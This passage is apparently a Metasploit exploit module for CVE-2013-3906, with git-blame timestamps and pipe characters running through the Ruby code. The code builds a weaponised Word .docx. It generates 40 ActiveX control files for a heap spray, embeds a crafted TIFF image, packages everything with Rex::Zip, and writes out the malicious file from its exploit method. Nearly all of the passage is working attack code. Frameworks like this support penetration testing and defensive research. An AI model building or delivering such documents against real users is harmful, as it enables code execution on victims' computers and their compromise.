:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
|
|
}
|
|
|
|
|
|
|
|
items << {
|
|
|
|
:id => (last_rid += 1),
|
|
|
|
:type => "#{@schema}/chart",
|
|
|
|
:fname => "/word/charts/chart6.xml",
|
|
|
|
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
|
|
}
|
2013-11-20 23:11:13 +00:00
|
|
|
|
|
|
|
return last_rid, items
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Manually create everything manually in the ActiveX directory
|
|
|
|
#
|
|
|
|
def init_activex_files(last_rid)
|
|
|
|
activex = []
|
|
|
|
|
2013-11-20 23:11:13 +00:00
|
|
|
40.times do |i|
|
2013-11-21 10:27:41 +00:00
|
|
|
id = (last_rid += 1)
|
2013-11-20 05:10:32 +00:00
|
|
|
|
|
|
|
bin = {
|
2013-11-21 10:27:41 +00:00
|
|
|
:fname => "/word/activeX/ActiveX#{id.to_s}.bin",
|
2013-11-20 05:10:32 +00:00
|
|
|
:bin => make_activex_bin
|
|
|
|
}
|
|
|
|
|
|
|
|
xml = {
|
2013-11-21 10:27:41 +00:00
|
|
|
:fname => "/word/activeX/activeX#{id.to_s}.xml",
|
|
|
|
:xml => make_activex_xml(id)
|
2013-11-20 05:10:32 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
rels = {
|
2013-11-21 10:27:41 +00:00
|
|
|
:fname => "/word/activeX/_rels/activeX#{id.to_s}.xml.rels",
|
|
|
|
:rels => make_activex_xml_reals(id, "activeX#{id.to_s}.bin")
|
2013-11-20 05:10:32 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
ct = "application/vnd.ms-office.activeX+xml"
|
2013-11-20 23:11:13 +00:00
|
|
|
type = "#{@schema}/control"
|
2013-11-20 05:10:32 +00:00
|
|
|
|
|
|
|
activex << {
|
2013-11-21 10:27:41 +00:00
|
|
|
:id => id,
|
2013-11-20 05:10:32 +00:00
|
|
|
:bin => bin,
|
|
|
|
:xml => xml,
|
|
|
|
:rels => rels,
|
2013-11-20 23:11:13 +00:00
|
|
|
:content_type => ct,
|
|
|
|
:type => type
|
2013-11-20 05:10:32 +00:00
|
|
|
}
|
|
|
|
end
|
|
|
|
|
|
|
|
return last_rid, activex
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Create a [Content_Types.xml], each node contains these attributes:
|
|
|
|
# :PartName The path to an ActiveX XML file
|
|
|
|
# :ContentType The contenttype of the XML file
|
|
|
|
#
|
2013-11-21 10:27:41 +00:00
|
|
|
def init_contenttype_xml_file(*items)
|
2013-11-20 05:10:32 +00:00
|
|
|
overrides = []
|
2013-11-21 10:27:41 +00:00
|
|
|
items.each do |item|
|
|
|
|
item.each do |obj|
|
|
|
|
overrides << {:PartName => obj[:fname] || obj[:xml][:fname], :ContentType => obj[:content_type]}
|
|
|
|
end
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
{:fname => "[Content_Types].xml", :data => make_contenttype_xml(overrides)}
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Creates the tiff file
|
|
|
|
#
|
|
|
|
def init_tiff_file(last_rid)
|
2013-11-21 10:27:41 +00:00
|
|
|
id = last_rid + 1
|
2013-11-20 23:11:13 +00:00
|
|
|
tiff_data = {
|
2013-11-21 10:27:41 +00:00
|
|
|
:id => id,
|
|
|
|
:fname => "/word/media/image1.jpeg",
|
2013-11-20 05:10:32 +00:00
|
|
|
:data => make_tiff,
|
2013-11-20 23:11:13 +00:00
|
|
|
:type => "#{@schema}/image"
|
2013-11-20 05:10:32 +00:00
|
|
|
}
|
2013-11-20 23:11:13 +00:00
|
|
|
|
2013-11-21 10:27:41 +00:00
|
|
|
return id, tiff_data
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Create the document.xml.rels file
|
|
|
|
#
|
|
|
|
def init_doc_xml_reals_file(pre_defs, activex, tiff)
|
|
|
|
reals = []
|
|
|
|
pre_defs.each do |obj|
|
2013-11-21 10:27:41 +00:00
|
|
|
reals << {:id => obj[:id], :type => obj[:type], :target => obj[:fname].gsub(/^\/word\//, '')}
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
activex.each do |obj|
|
2013-11-21 10:27:41 +00:00
|
|
|
reals << {:id => obj[:id], :type => obj[:type], :target => obj[:xml][:fname].gsub(/^\/word\//, '')}
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
|
2013-11-21 10:27:41 +00:00
|
|
|
reals << {:id => tiff[:id], :type => tiff[:type], :target => tiff[:fname].gsub(/^\/word\//, '')}
|
2013-11-20 05:10:32 +00:00
|
|
|
|
2013-11-21 10:27:41 +00:00
|
|
|
{:fname => "/word/_rels/document.xml.rels", :data => make_doc_xml_reals(reals)}
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Loads a fiile
|
|
|
|
#
|
|
|
|
def read_file(fname)
|
|
|
|
buf = ''
|
|
|
|
::File.open(fname, "rb") do |f|
|
|
|
|
buf << f.read
|
|
|
|
end
|
|
|
|
|
|
|
|
buf
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Packages everything to docx
|
|
|
|
#
|
|
|
|
def make_docx(path)
|
|
|
|
print_status("Initializing files...")
|
2013-11-21 10:27:41 +00:00
|
|
|
last_rid = 0
|
2013-11-20 23:11:13 +00:00
|
|
|
last_rid, doc_xml_rels_items = init_doc_xml_rels_items(last_rid)
|
2013-11-21 10:27:41 +00:00
|
|
|
last_rid, activex = init_activex_files(last_rid)
|
2013-11-20 23:11:13 +00:00
|
|
|
last_rid, doc_props = init_doc_props(last_rid)
|
2013-11-21 10:27:41 +00:00
|
|
|
last_rid, tiff_file = init_tiff_file(last_rid)
|
2013-11-20 23:11:13 +00:00
|
|
|
doc_xml = init_doc_xml(last_rid, doc_xml_rels_items, activex, tiff_file)
|
2013-11-21 10:27:41 +00:00
|
|
|
ct_xml_file = init_contenttype_xml_file(activex, doc_xml_rels_items, doc_props, [doc_xml])
|
|
|
|
doc_xml_reals_file = init_doc_xml_reals_file(doc_xml_rels_items, activex, tiff_file)
|
2013-11-20 23:11:13 +00:00
|
|
|
rels_xml = init_rels(doc_xml, doc_props)
|
2013-11-20 05:10:32 +00:00
|
|
|
|
|
|
|
zip = Rex::Zip::Archive.new
|
|
|
|
Dir["#{path}/**/**"].each do |file|
|
|
|
|
p = file.sub(path+'/','')
|
|
|
|
|
|
|
|
if File.directory?(file)
|
|
|
|
print_status("Packing directory: #{p}")
|
|
|
|
zip.add_file(p)
|
|
|
|
else
|
2013-11-20 23:11:13 +00:00
|
|
|
# Avoid packing image1.jpeg because we'll load it separately
|
|
|
|
if file !~ /media\/image1\.jpeg/
|
|
|
|
print_status("Packing file: #{p}")
|
|
|
|
zip.add_file(p, read_file(file))
|
|
|
|
end
|
2013-11-20 05:10:32 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
activex.each do |ax|
|
|
|
|
ax_bin = ax[:bin]
|
|
|
|
ax_xml = ax[:xml]
|
|
|
|
ax_rels = ax[:rels]
|
|
|
|
|
|
|
|
print_status("Packing file: #{ax_bin[:fname]}")
|
|
|
|
zip.add_file(ax_bin[:fname], ax_bin[:bin])
|
|
|
|
|
|
|
|
print_status("Packing file: #{ax_xml[:fname]}")
|
|
|
|
zip.add_file(ax_xml[:fname], ax_xml[:xml])
|
|
|
|
|
|
|
|
print_status("Packing file: #{ax_rels[:fname]}")
|
|
|
|
zip.add_file(ax_rels[:fname], ax_rels[:rels])
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Packing file: #{ct_xml_file[:fname]}")
|
|
|
|
zip.add_file(ct_xml_file[:fname], ct_xml_file[:data])
|
|
|
|
|
|
|
|
print_status("Packing file: #{tiff_file[:fname]}")
|
|
|
|
zip.add_file(tiff_file[:fname], tiff_file[:data])
|
|
|
|
|
2013-11-20 23:11:13 +00:00
|
|
|
print_status("Packing file: #{doc_xml[:fname]}")
|
|
|
|
zip.add_file(doc_xml[:fname], doc_xml[:xml])
|
|
|
|
|
|
|
|
print_status("Packing file: #{rels_xml[:fname]}")
|
|
|
|
zip.add_file(rels_xml[:fname], rels_xml[:data])
|
|
|
|
|
2013-11-20 05:10:32 +00:00
|
|
|
print_status("Packing file: #{doc_xml_reals_file[:fname]}")
|
|
|
|
zip.add_file(doc_xml_reals_file[:fname], doc_xml_reals_file[:data])
|
|
|
|
|
|
|
|
zip.pack
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2013-11-20 23:11:13 +00:00
|
|
|
@schema = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
|
2013-11-20 05:10:32 +00:00
|
|
|
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906")
|
|
|
|
docx = make_docx(path)
|
|
|
|
file_create(docx)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2013-11-21 20:42:07 +00:00
|
|
|
=begin
|
|
|
|
|
|
|
|
To-do:
|
|
|
|
Turn the docx packaging into a mixin. Good luck with that.
|
|
|
|
|
|
|
|
=end
|